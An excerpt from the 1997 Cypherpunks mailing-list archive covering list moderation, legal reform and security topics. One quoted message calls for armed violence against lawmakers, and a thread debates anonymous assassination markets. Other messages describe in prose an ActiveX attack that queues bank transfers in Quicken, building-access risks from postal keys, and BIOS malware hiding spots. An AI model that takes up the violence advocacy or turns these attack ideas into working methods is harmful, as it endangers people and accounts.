OKSAS hired me to work for her, but then > > our relationships go south and she fires me. Again, her fate is very > > unclear, although I would probably spare her life if it were she. > > Chudov , do you love me? Oksas, do you really believe in long-distance romance over the Internet? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From whgiii at amaranth.com Sun Feb 2 22:10:41 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Sun, 2 Feb 1997 22:10:41 -0800 (PST) Subject: Key Security Question Message-ID: <199702030610.WAA14061@toad.com> X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.24 From stewarts at ix.netcom.com Sun Feb 2 22:10:56 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sun, 2 Feb 1997 22:10:56 -0800 (PST) Subject: "Strong" crypto and export rule changes. Message-ID: <199702030610.WAA14116@toad.com> At 11:55 PM 2/1/97 -0500, Adam Shostack wrote: > More seriously, that estimate is the cost of breaking DES on >custom hardware, based on Wiener's figures. Ian got RC4-40 in 3.5 >hours on I don't know how much hardware, not a lot of it custom, AFAIK. http://now.cs.berkeley.edu is the home page for the Network Of Workstations CPU farm. Mostly Suns with some recent generation of Sparc chip. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From blancw at cnw.com Sun Feb 2 22:11:23 1997 From: blancw at cnw.com (blanc) Date: Sun, 2 Feb 1997 22:11:23 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702030611.WAA14240@toad.com> From: Steve Schear I sincerely doubt that many would use AP to right small slights, anymore than many now kill others for the same reasons. The world has always been inhabited by bullies and tyrants who cared little of what harm they caused others. An AP system would quickly eliminate bullies and tyrants. .................................................... Some of them. But like an infection which can be potentialy killed with antibiotics, ignoring the unhealthy conditions which made it possible to establish itself will frustrate the attempts to prevent the phenomena of its recurrence. .. Blanc From ichudov at algebra.com Sun Feb 2 22:11:24 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Sun, 2 Feb 1997 22:11:24 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater Message-ID: <199702030611.WAA14241@toad.com> jim bell wrote: > > Better yet, set up a system to encourage the public to USE those guns (and > other weapons) to get rid of the people who pass such laws, and the problem > is solved. > How about this scenario: I borrow 1 million dollars from, let's say, Phill Hallam-Baker. Not wanting to pay it back, I pay to the assassination bot and arrange him to be murdered. Another story: suppose that I negligently caused fire that destroys house of, say, Toto. Toto knows that if he sues me, I can arrange him murdered for the amount less than the amount of damages. As a result, he refrains from suing me, or (if he is a mean person) pays additional money to have me murdered. A suit would probably be a much better outcome. Another story: suppose that OKSAS hired me to work for her, but then our relationships go south and she fires me. Again, her fate is very unclear, although I would probably spare her life if it were she. The bottom line is, it becomes very hard to do ANYTHING that disappoints at least somebody. That can lead to a lot of inefficiencies. - Igor. From dthorn at gte.net Sun Feb 2 22:11:32 1997 From: dthorn at gte.net (Dale Thorn) Date: Sun, 2 Feb 1997 22:11:32 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702030611.WAA14254@toad.com> Timothy C. May wrote: > With no false modesty I tried awfully hard to compose > substantive essays on crypto-political topics, often more than one per day. > (Others did too, but they seem to be tapering off as well, leaving the list > to be dominated by something called a "Toto," the "O.J. was framed!" > ravings of Dale Thorn, Dale, that's me! > * To summarize: > - the decision to censor the list was made without any discussion on the > list, without any discussion with at least some of the longterm core > contributors, and was presented as a "fait accompli." > - while John has every right to do with his hardware as he wishes, he does > not "own" the Cypherpunks group (though whether he owns the "list" is a > semantically debatable point) Which is exactly the point I labored so long on while Tim May was sitting on the sidelines. > - whatever our group once was, or still is, is not dependent on having a > particular mailing list running on someone's home machine...and it cannot > be claimed that any person "owns" the Cypherpunks group. Ditto. From attila at primenet.com Sun Feb 2 22:11:34 1997 From: attila at primenet.com (Attila T. Hun) Date: Sun, 2 Feb 1997 22:11:34 -0800 (PST) Subject: Free & Open Society & toleration Message-ID: <199702030611.WAA14255@toad.com> -----BEGIN PGP SIGNED MESSAGE----- are you really saying we must dispose of our time honoured tradition of "the best justice money can buy..." ??? say it is not so; where would our legal system be without body trading? as for the communist/socialist ideal of work/need/want where want is suppressed --it does not work; never has, never will. even the religious orders have not made it work over time (other than by fear). on or about 970201:2218 Jim Choate said: +1. Removal of the lawyer from the ultimate choice of whether the case + should be pursued. whew, open the floodgates. free lunch. +2. The minimalization of the defendants and plaintiffs monetary + resources + by removing them from the legal system by choosing the legal + representation of both parties by lot. damn, free dinner, too. +3. By moving the responsibility of police to provide evidence from the + prosecution to the court we equalize the impact of irregularities + in evidence selection as well as minimizing the sorts of evidence + disputes which so impact some trials (ie OJ Simpson). my, we're on a roll, aren't we? +4. By the implimentation of a bond proviso on the part of the + plaintiff + the system provides a check and balance reducing nuisance cases as + well as reducing the taxation load on the citizenry. this is already a factor in the need to pay an attorney his ridiculous fees. being required to post a plaintiff's bond does nothing to equalize the rights of the have nots --most of whom seem to have unlimited resources from the dogooders anyway. Get real, Jim. it may not be the best system, but other than enforcing the principles on which it is founded, and stripping attorney privileges to a percentage of the take, the system works quite well; corruption on the bench is whose fault? ours, just like the excesses in Washington are our fault. it is _our_ failure to insist on clean, representative government and judiciary. and to convert to a pooled system for equality is not going to stop graft -it is built in to human greed. stop apathy on _our_ part, and we will stop graft. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: Encrypted with 2.6.3i. Requires 2.6 or later. iQCVAwUBMvTltb04kQrCC2kFAQFRNAP/fJyPvrecq+GEcHygxCqtatySX81OfeaO lCCsgQ5cddvX/tLmSE7+hEN6jBoV3xHkQEbgfDm2mcJWEtGGNMMtNYZCKHrz0Y+l LKUx53PlmByg887Lsf7ta6zjYdE/0pJHtKoBC6hS/uJV3R+2YeWg5sqrsT3t/3oS W4PwmJVq6bc= =mfZQ -----END PGP SIGNATURE----- From sandfort at crl.com Sun Feb 2 22:11:37 1997 From: sandfort at crl.com (Sandy Sandfort) Date: Sun, 2 Feb 1997 22:11:37 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: Message-ID: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, Where to begin? Tim May has taken the time to write broad and thought provoking essay on this list's current moderation experiment. I appreciate his analysis--and candor. While I do not agree with all he has written, I enormously respect his dedication to his point of view. On Sun, 2 Feb 1997, Timothy C. May wrote: > I chose not to write a "departing flame" (or message, but some might call > it a flame) when I unsubscribed several weeks ago--within an hour of > reading that John and Sandy had decided to make "their" list a moderated > list,... This is Tim's first error of fact. I point it out not to insult him, but because it seriously affects much of the rest of his analysis. We are conducting an experiment. It will last one month. After that, it's over if list members want it to be over. If, on the other hand, moderation is seen by the list members as beneficial to their use and enjoyment of the list, the current form of moderation--or some variation will continue. > ...and saw no point in wasting even more of my time arguing against the New > Cypherpunks World Order, as the NCWO was clearly presented as a fait > accompli, not something ablut which opinions of list members (or even list > _founders_, at least not me) were being sought. Factual error #2. There was a call for comment; Tim chose not to do so. In retrospect, I wish we had run it by Tim, Eric and Hugh in more detail before making the annoucement, but we didn't. Certainly a tactical error and a breach of protocol, but not the end of the world. Sorry Tim. I should have spoken to you first. > I see vast amounts of bandwidth consumed by arguments about > moderation, about the putative biases of the Moderator and Director of the > New Cypherpunks World Order, about alternative moderation strategies (which > is stupid, as John and Sandy announced what they were going to do, not just > some of their preliminary thoughts), and so on. I've also noticed fewer > substantive essays. And I see something different. Since previously, Tim actively filter the list, I'm not sure on what basis he can make his comparison. As just one example (though a signicant one) Dimitri has posted more non-flaming, on-topic posts during the two weeks of this experiment then in the previous several months. In my opinion, other than for the hysterical posts of a very few self-righteous loudmouths, the overall quality of the posts has been far superior to what it had become in the weeks before the experiment began. YMMV. > With no false modesty I tried awfully hard to compose substantive > essays on crypto-political topics, often more than one per day. I would hope that Tim will return to this practice irrespective of whether the list remains moderated or returns to its previous policies. More on this, below. > (Others did too, but they seem to be tapering off as well, leaving the list > to be dominated by something called a "Toto," the "O.J. was framed!" > ravings of Dale Thorn, the love letters between Vulis and someone name > Nurdane Oksas,... Two points: Since Tim largely agrees with those in opposition to moderation, and because of the extraordinary nature of Tim's post, I did not send it to the "flames" list. It was a judgment call. The problems Tim describes, did not arise with moderation. Indeed, they were the imputus for the moderation. > * But the really important issue is this: is the _physical hosting_ of the > Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list > was hosted by, say, UC Berkeley or PGP Incorporated, would we consider > these hosts to be the "owners" of the Cypherpunks group?... I think this is a Straw Man. John and I have never argued that John "owns" cypherpunks. When a Cypherpunk meeting is held in someone's living room, however, I don't think it's asking to much to ask everyone to follow the local rules (e.g., "no shoes in the house" or "no smoking" or even "no ad hominem attacks"). As Tim is fond of saying, "my house; my rules." I don't think this means Tim "owns" a physical meeting in his house. > While John had (and has) every legal right > to do with his property as he wished, the effect was very negative. First, > Vulis found other ways to post (duh). Tim, do you really believe that John did not anticipate this? > Second, the list was consumed with > flames about this, many from Vulis, and many from others. It was consumed with flames before. Now, at least, the vast majority of folks on the list don't have to read them, nor jump through any hoops to implement some sort of dynamic filtering half-measure. > Third, journalists (who love sizzle over substance any day of > the week) lept into the fray with articles which gave Vulis the > publicity he craved. That's what journalist do, though I wasn't aware of ANY articles on this issue. I would appreciate it if Tim could give us some citations. > Fourth, it sent a message to enemies of liberty that "Even the > Cypherpunks have found it necessary to abandon their anarchic > ways." That's one message that one could take from all this, I suppose. I don't see it that way, nor do several list members who thanked me in private e-mail for improving the list. Again, YMMV. > (I'm well aware of the issues with pests like Vulis, who seek to destroy > virtual communities like ours. But the solution John used did not work, and > generated more crap.... What didn't work was "local filtering" which has no feed-back loop to engender comity. This might not work either, but I see no evidence that it has made things worse. Remember, there are a hand-full of subscribers to the Flames list, 20-30 on the Unedited list and *2000* or so on the Moderated list. Sure some of that may be due to laziness, but it would be cavalier in the extreme to claim that such an overwhelming acceptance of moderation is merely an artifact of inertia. But to make things perfectly clear one more time, ANYONE WHO WANTS TO READ THE ENTIRE CYPHERPUNKS FEED SHOULD SUBSCRIBE TO "CYPHERPUNKS-UNEDITED" AND/OR "CYPHERPUNK-FLAMES." > * "Censorship" is another overloaded term. I don't think the "Definition 1" > of dictionary definitions, about _governmental_ restrictions, is the only > meaningful definition. Everybody knows what it meant when we say that > "Lockheed is censoring the views of employees," even though we know > Lockheed is not using government power. A censor is one who censors. And > even my "American Heritage Dictionary" gives this as its "definition 1": > > "censor n. 1. A person authorized to examine books, films, or other > material and to remove or suppress morally, politically, or otherwise > objectionable." Tim and I disagree on which definition of "censorship" applies in this situation. Dale Thorne, and others, have argued, in essence, that there is censorship if ANY definition would apply. I'm not sure time is going that far, but if so, I respectfully disagree. But let's apply Tim's above definition for the sake of argument. Am I, thereby, a censor? Well I am examining "other material" and I am making judgments with regard to whether or not it is "objectionable," unfortunately for Tim's argument, I am neither "removing" nor "supressing" anything. Anybody can read anything that gets posted to Cypherpunks--in two places. I am sorting, but even my sorting can be completely avoided. > * OK, even given that John had decided to censor "his" list, what about his > choice of Sandy Sandfort as the censor? John didn't choose me, I approached him. I offered my opinion as to what I thought HE ought to do about the list disruptions. The short version of his answer was, "if you think you can do a better job, go for it." I accepted the challenge, so here I am. I don't want this job. If the list members decide to keep the list moderated, I hope to keep my involvement as a moderator to a minimum. Any volunteers? > * Nor do the announced criteria make any sense. While the inane one-line > scatological insults have been filtered out, many "flames" make it through, > based on what I've seen in perusing the hks archive site. And some > reasonable comments get dumped in the flame bucket. Very possibly true. Moderation is like crypto, perfection isn't and option. However, a 90% solution is a heck of a lot better than no solution at all. Yes, I've made what I consider to be errors, but I think on some, I've done a very good job overall. > * (Frankly, one of my considerations in leaving was the feeling that I > would never know if an essay I'd spent hours composing would be rejected by > Sandy for whatever reasons.... Tim, I think this is disingenuous. I have been quite clear on my moderation criteria. You are too intelligent to feign such a lack of understanding. > maybe he might think my essay was off-topic, Clearly not a criterion I ever enunciated. > or used one of the Seven Deadly Words, Clearly not a criterion I ever enunciated. >or was "too flamish." Bingo (with the proviso that it be a personal attack on a list member as opposed to the substance of his or her argument). > * The decision to "moderate" (censor) the Cypherpunks list is powerful > ammunition to give to our opponents, Piffle. Letting spoiled children destroy the list puts a far more powerful weapon in the hands of our enemies. > and Vulis is certainly gleeful that > his fondest wishes have been realized. I do not have a crystal ball. My Vulcan mind meld is in the shop. No one--neither Tim, nor I, nor probably even Vulis--knows whether is gleeful about all this or not. An frankly, who cares? The question is, are list members happy or not with moderation. Tim was not. I am. By the end of the experiment, I dare say we will have a good idea what most list members think. > (I would venture a guess that a Duncan Frissell would almost certainly get a > libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to > get a leftist rant past him.) I sorry Tim gives me so little credit. Rather than merely post a self-serving denial, I would ask that Phill confirm or deny Tim's supposition. To the best of my recollection, I have sent only one post of Phill's to the Flames list. It flamed Jim Bell. As far as moderating political rants go, I'm agnostic. Look folks, when you stop trying new things, and stop questioning conventional wisdom, you are as good as dead. Maybe moderation is the best think since sliced bread; maybe it sucks. How about we give it a good-faith try for the next 2+ weeks and see how it goes? If the consensus is it sucks, I intend to be gracious in defeat. If it goes the other way, I hope that the neighsayers will accept it and let the list get on with its role as a forum for the protection of privacy. Thanks again, Tim, for sharing your views with us. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From roy at sendai.scytale.com Sun Feb 2 22:12:57 1997 From: roy at sendai.scytale.com (Roy M. Silvernail) Date: Sun, 2 Feb 1997 22:12:57 -0800 (PST) Subject: "Secret" Postal Device stolen Message-ID: <199702030612.WAA14298@toad.com> -----BEGIN PGP SIGNED MESSAGE----- In list.cypherpunks, toto at sk.sympatico.ca writes: >> >>>Postal Service offers $25,000 reward for stolen . . . something > Mail carriers in some areas carry keys for buildings with security > doors (sometimes Master keys). In Minneapolis and Anchorage (the two cities of which I have knowledge) mail carriers have a key that opens not only apartment-style mailboxes, but little boxes on the outside of apartment buildings that hold a key to the building's lobby. Snag one of those keys and a large portion of the city opens its doors to you. (some buildings have further locked doors beyond the mailbox lobby to counter this threat) - -- Roy M. Silvernail [ ] roy at scytale.com DNRC Minister Plenipotentiary of All Things Confusing, Software Division PGP Public Key fingerprint = 31 86 EC B9 DB 76 A7 54 13 0B 6A 6B CC 09 18 B6 Key available from pubkey at scytale.com, which works now -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvTEUxvikii9febJAQEMEwP+Ji/B1z7uYSJspTij6xH2jUn/JMXmJ7RF drUZruHZNxQv3xGHOPbf4nerDqANgYe/6DzZdrNRhP5RgYTPZp4K1gHDRLhyKAZL EriifeqlXe9X69EDCXSJr8nVSEP1XlSoI2cc9nMFyG42Mwg0Do52WdvhBbZtiM8I zKo9v+3VOqg= =O4dL -----END PGP SIGNATURE----- From attila at primenet.com Sun Feb 2 22:12:59 1997 From: attila at primenet.com (Attila T. Hun) Date: Sun, 2 Feb 1997 22:12:59 -0800 (PST) Subject: Free & Open Society & toleration Message-ID: <199702030612.WAA14299@toad.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970201:2001 Jim Choate said: +I further hold that one of the current legal practices based on +precidence which MUST be replaced is our system dealing with +defamation. I further hold that our current system of legal +representation is inherently flawed and prevents equal representation +under the law. BULLSHIT why don't you toll the bell for freedom while you're at it, and think about 'for whom the bell tolls.' --it tolls for thee. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: Encrypted with 2.6.3i. Requires 2.6 or later. iQCVAwUBMvTgoL04kQrCC2kFAQHeuQP8CtEQx/Rw/fLHqIx9UOfqp3QK4fQXKneV PXDiZvTi9aTLqd/8D64CgNmRizmb26NIMlEBXXt/YreucdYKSWByBkmMozKw7kxY QN3N/of1wZfqbXmJQj2+oV5dG9ieNWM3mkQw8pp79z8qa6jGYMt3xW1aqsYaweR0 Kx8zM9xm8S8= =4Hwo -----END PGP SIGNATURE----- From rgm3 at chrysler.com Sun Feb 2 22:12:59 1997 From: rgm3 at chrysler.com (Robert Moskowitz) Date: Sun, 2 Feb 1997 22:12:59 -0800 (PST) Subject: Reminder: Release 0.4 of my Linux IPSEC code is out. Message-ID: <199702030612.WAA14304@toad.com> At 09:29 AM 1/29/97 +0200, John Ioannidis wrote: > >Please note that in some countries such as the USA, it is unlawful for a >citizen of that country to provide technical assistance "with the intent to >aid a foreign person in the development or manufacture outside the United >States" of >"Encryption Items". I think there is a partial 'out'. If a US company is attempting to interoperate with your code and fails, they can point to the part of a public specification related to the failure. Such as our implementations failed to interoperate related to section n.m.o of rfc wxyz. But I am not a lawyer, only heard this explaination 3rd hand from a lawyer. Robert Moskowitz Chrysler Corporation (810) 758-8212 From blancw at cnw.com Sun Feb 2 22:13:10 1997 From: blancw at cnw.com (blanc) Date: Sun, 2 Feb 1997 22:13:10 -0800 (PST) Subject: FW: Cyphernomicon by Tim May Message-ID: <199702030613.WAA14330@toad.com> (meant to send this to the list earlier) From: Toto Personally, I could care less when people want to play footsie-games with flaming, but I think it points out the ludicrousness of having a moderator limiting people to 'childish' insults. I prefer someone screaming at me what a cocksucker I am. ................................................... Now, you know it has to do with proportion: if Jim Choate, in the course of an ADD-induced discourse on the reprehensability of libelous indiscretions, happens to let out a "Bessie", it's going to be less disconcerting than to read continuous content-less alerts consisting of nothing but declarations against your personal virtue. At the very least, the one provides some cause for educated clarification, while the other leaves nothing to say, but only to filter. However, it's 3:00 a.m. PST and Sandy's asleep right now, so if you really feel like flaming somebody uninhibitedly, now's the time to get past the flame-bot (hee-hee). = Ray Hettinga forwards these long, literate missives advertising this-or-that million dollar a plate conferences, but when he chose to insult me with his own words, the result was an immature blathering which showed questionable literary skills. ............................................. Bad, Ray - Bad! = It would be nice, however, to try to twist the rest of the list around to my own world-view. It gets lonely here in the 'rubber room' at the Home, and I could use some company. ............................................. You're at liberty to try. Why don't you start with Messrs. Jim and Jim. (but, wait - let me set up my Inbox Rules.....) .. Blanc From dthorn at gte.net Sun Feb 2 22:13:11 1997 From: dthorn at gte.net (Dale Thorn) Date: Sun, 2 Feb 1997 22:13:11 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater Message-ID: <199702030613.WAA14331@toad.com> Igor Chudov @ home wrote: > jim bell wrote: > > Better yet, set up a system to encourage the public to USE those guns (and > > other weapons) to get rid of the people who pass such laws, and the problem > > is solved. > How about this scenario: I borrow 1 million dollars from, let's say, > Phill Hallam-Baker. Not wanting to pay it back, I pay to the > assassination bot and arrange him to be murdered. Igor, there's an old saying in this country: the best way to lose a friend is to lend him money. > Another story: suppose that I negligently caused fire that destroys > house of, say, Toto. Toto knows that if he sues me, I can arrange him > murdered for the amount less than the amount of damages. As a result, > he refrains from suing me, or (if he is a mean person) pays additional > money to have me murdered. A suit would probably be a much better outcome. Sometimes you have to pay a steep price for negligence, like neglecting to watch how close you get to the edge of the road on, say, Topanga Canyon or one of those (long way down). Now, since people *know* to be extra careful on the canyon roads, don't you think by the same analogy they'd be extra careful with other things when AP is running? > Another story: suppose that OKSAS hired me to work for her, but then > our relationships go south and she fires me. Again, her fate is very > unclear, although I would probably spare her life if it were she. If she does it right, with empathy, there is not likely to be a problem. On the other hand, if she bad-mouths you to prospective employers or customers you want to do business with, you might be inclined to hit her. This happens a lot when AP is not available. > The bottom line is, it becomes very hard to do ANYTHING that disappoints > at least somebody. That can lead to a lot of inefficiencies. To get rid of everyone who pisses you off, you'd have to pay a lot more money than you'll ever have, therefore not a problem. Those people who have such money are not going to bump off very many more people than they already do, because: 1. They need the people to make money off of (Mafia rule #4, never kill someone who owes you money [or is a money source]). 2. Rich people have a lot of eyes on them, and it would be easy to triangulate a series of murders to them, even without hard evidence. In an AP world, this triangulation/correlation would be enough to convince people to either shun this killer, or kill him outright. From rah at shipwright.com Sun Feb 2 22:13:13 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sun, 2 Feb 1997 22:13:13 -0800 (PST) Subject: Electronic Funds Transfer without stealing PIN/TAN Message-ID: <199702030613.WAA14332@toad.com> --- begin forwarded text Sender: e$@thumper.vmeng.com Reply-To: Rachel Willmer Mime-Version: 1.0 Precedence: Bulk Date: Sun, 2 Feb 1997 15:03:25 +0000 From: Rachel Willmer To: Multiple recipients of Subject: Electronic Funds Transfer without stealing PIN/TAN --- From RISKS digest --- Date: 1 Feb 1997 05:12:02 GMT From: weberwu at tfh-berlin.de (Debora Weber-Wulff) Subject: Electronic Funds Transfer without stealing PIN/TAN The Berlin newspaper "Tagespiegel" reports on 29 Jan 97 about a television show broadcast the previous evening on which hackers from the Chaos Computer Club demonstrated how to electronically transfer funds without needing a PIN (Personal Identification Number) or TAN (Transaction Number). Apparently it suffices for the victim to visit a site which downloads an ActiveX application, which automatically starts and checks to see if Quicken, a popular financial software package that also offers electronic funds transfer, is on the machine. If so, Quicken is given a transfer order which is saved by Quicken in its pile of pending transfer orders. The next time the victim sends off the pending transfer orders to the bank (and enters in a valid PIN and TAN for that!) all the orders (= 1 transaction) are executed -> money is transferred without the victim noticing! The newspaper quotes various officials at Microsoft et al expressing disbelief/outrage/"we're working on it". We discussed this briefly in class looking for a way to avoid the problem. Demanding a TAN for each transfer is not a solution, for one, the banks only send you 50 at a time, and many small companies pay their bills in bunches. Having to enter a TAN for each transaction would be quite time-consuming. Our only solution would be to forbid browsers from executing any ActiveX component without express authorization, but that rather circumvents part of what ActiveX is intended for. A small consolation: the transfer is trackable, that is, it can be determined at the bank to which account the money went. Some banks even include this information on the statement, but who checks every entry on their statements... Debora Weber-Wulff, Technische Fachhochschule Berlin, Luxemburger Str. 10, 13353 Berlin GERMANY weberwu at tfh-berlin.de -- Rachel Willmer, Intertrader Ltd, Cova House, 4 John's Place, Edinburgh Email: rachel at intertrader.com Tel: +44 131 555 8450 Fax: +44 131 555 8451 Sun Internet Associate and winner of 1996 SMART Award for Innovation "We develop Java Commerce Solutions" --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From ichudov at algebra.com Sun Feb 2 22:13:14 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Sun, 2 Feb 1997 22:13:14 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater Message-ID: <199702030613.WAA14333@toad.com> Dale Thorn wrote: > Igor Chudov @ home wrote: > > > How about this scenario: I borrow 1 million dollars from, let's say, > > Phill Hallam-Baker. Not wanting to pay it back, I pay to the > > assassination bot and arrange him to be murdered. > > Igor, there's an old saying in this country: the best way to lose a > friend is to lend him money. Phill, in this example, is not my friend, but a lender. > > Another story: suppose that I negligently caused fire that destroys > > house of, say, Toto. Toto knows that if he sues me, I can arrange him > > murdered for the amount less than the amount of damages. As a result, > > he refrains from suing me, or (if he is a mean person) pays additional > > money to have me murdered. A suit would probably be a much better outcome. > > Sometimes you have to pay a steep price for negligence, like neglecting > to watch how close you get to the edge of the road on, say, Topanga > Canyon or one of those (long way down). Now, since people *know* to > be extra careful on the canyon roads, don't you think by the same > analogy they'd be extra careful with other things when AP is running? Mmm, likely the result will be that Toto will be impoverished (it is an example, do not take it personally) and will not only not be able to murder me, but also will be too afraid to sue me (because I would rather pay for a cheaper assassination than to pay damages). > > Another story: suppose that OKSAS hired me to work for her, but then > > our relationships go south and she fires me. Again, her fate is very > > unclear, although I would probably spare her life if it were she. > > If she does it right, with empathy, there is not likely to be a > problem. On the other hand, if she bad-mouths you to prospective > employers or customers you want to do business with, you might be > inclined to hit her. This happens a lot when AP is not available. ... But would happen more often if it was. > > The bottom line is, it becomes very hard to do ANYTHING that disappoints > > at least somebody. That can lead to a lot of inefficiencies. > > To get rid of everyone who pisses you off, you'd have to pay a lot > more money than you'll ever have, therefore not a problem. Those Why, I will have a lot of money. > people who have such money are not going to bump off very many more > people than they already do, because: > > 1. They need the people to make money off of (Mafia rule #4, never > kill someone who owes you money [or is a money source]). This is a wrong Mafia rule, they do kill debtors who are in default. > 2. Rich people have a lot of eyes on them, and it would be easy to > triangulate a series of murders to them, even without hard evidence. > In an AP world, this triangulation/correlation would be enough to > convince people to either shun this killer, or kill him outright. When ten people make deals with each other, it becomes hard to triangulate. And it is easy, if you know what deals are done, to change the result of triangulation: suppose that I know that you borrowed 1 million from Toto, that my _and_ yours business partner had been murdered (by me, but no one knows), and I am afraid that someone will triangulate me and implicate me in that murder. I secretly order the AP bot to kill Toto, and you get implicated. Not good. - Igor. From sandfort at crl.com Sun Feb 2 22:14:40 1997 From: sandfort at crl.com (Sandy Sandfort) Date: Sun, 2 Feb 1997 22:14:40 -0800 (PST) Subject: "Secret" Postal Device stolen In-Reply-To: <970202.103614.3s2.rnr.w165w@sendai.scytale.com> Message-ID: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Sun, 2 Feb 1997, Roy M. Silvernail wrote: > In Minneapolis and Anchorage (the two cities of which I have knowledge) > mail carriers have a key that opens not only apartment-style mailboxes, > but little boxes on the outside of apartment buildings that hold a key > to the building's lobby. Snag one of those keys and a large portion of > the city opens its doors to you. (some buildings have further locked > doors beyond the mailbox lobby to counter this threat) So much for key escrow. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From whgiii at amaranth.com Sun Feb 2 22:14:55 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Sun, 2 Feb 1997 22:14:55 -0800 (PST) Subject: Key Security Question Message-ID: <199702030614.WAA14344@toad.com> -----BEGIN PGP SIGNED MESSAGE----- In <199702021555.HAA25423 at toad.com>, on 02/02/97 at 09:34 AM, "Dr.Dimitri Vulis KOTM" said: >ichudov at algebra.com (Igor Chudov @ home) writes: >> Dr.Dimitri Vulis KOTM wrote: >> > Bill Stewart writes: >> > > On the other hand, if the "repairman" replaced your pgp executable >> > > with version 2.6.3kgb, which uses your hashed passphrase as the >> > > session key, you're hosed. Or if he installed a keystroke sniffer, >> > > or added a small radio transmitter to your keyboard, or whatever. >> > > Depends on your threat model. If you need to be paranoid, >> > > they've already gotten you.... >> > >> > If you're really paranoid, you can boot from a clean floppy and >> > reinstall everything from your backup tapes. You do have a >> > contingency plan in case your hard disk goes bad, or gets a >> > virus, don't you? Well, if you're in doubt, exercise it. >> >> And what if the repairman replaces BIOS ROM chips with KGBios? >On some computers it's possible to add executable code to the boot >sequence without replacing the actual ROM chip because they're >rewritiable. Examples: most Sun boxes; intel motherboards with 'flash >bios'. V-Communications has a nice Bios Pre-Processor for their dissasembler for anyone intrested it playing with their bios code. Most newer MB's come with Flash Bios and the software to Flash the chip is available for download from the Manufacture. I'v gone and tinkered around with the bios on a couple of my AMI motherboards. Flash bios does open the possibility for a virus infection of ones bios. I have had several intresting discussions with the AMI programmers about this. IMHO any device that has flash bios should have a jumper on the circuit board to enable/disable the flash option. I have not seen anyone that is doing this with their products. The MB bios is relativly safe as the flash process happens pre-post but considering that flash bios can be found in almost all computer prerifials the potential for harm is there. Currently on my system I have flash bios on the HD's, modem's, NIC's, & SCSI card's. All are a potential hiding spot for a virus. - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: Air conditioned environment - Do not open Windows. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 0000000 iQCVAwUBMvUl1Y9Co1n+aLhhAQHVcAQAmlU7/gY80+0C3KTowerMkZHa1ro4A5g5 0qKRuuAO08eOmnwND16bBxOo5KKZU/2Xxydvdg2CpE4C9ga/po3QTasa+kKzpsR7 jBQxDAWauirLlJtXCnfiaYQrycxX6YoFoZanRGticT4ObRmFvT0OcqYqqL/fgXe0 oSiw02JDATQ= =S97o -----END PGP SIGNATURE----- From blancw at cnw.com Sun Feb 2 22:16:23 1997 From: blancw at cnw.com (blanc) Date: Sun, 2 Feb 1997 22:16:23 -0800 (PST) Subject: Libel, Times v. Sullivan Message-ID: <199702030616.WAA14387@toad.com> From: Attila T. Hun +Yes, if the Magna Carta guaranteed a right and the forefathers fought +to secure it, why should any of us ever have to lift a finger in our +own defense. seems to me Jefferson said it took a rebellion every 20 years or so to keep democracy awake... other than presuming your answer is tongue in cheek (not elsewhere), complacency == welfare. ......................................................... Definitely tongue-in-cheek. Just noting that if a thing has been "guaranteed", this means (by my interpretation) that it is a done deal and nothing further need be done about it - it's established and automatic. But obviously a "right", though it be a basic operant in Nature and existent as an abstract concept in some people's minds, is not recognized either naturally or formally by many. Therefore, as Jefferson remarked, we cannot depend on our forefather's vision to uphold our honor but must re-establish it as needed. .. Blanc From jimbell at pacifier.com Sun Feb 2 22:26:01 1997 From: jimbell at pacifier.com (jim bell) Date: Sun, 2 Feb 1997 22:26:01 -0800 (PST) Subject: VOICE STRESS ANALYSIS Message-ID: <199702030626.WAA14604@toad.com> Awhile back we were discussing voice-stress analysis; just got this item on the subject; he said it's 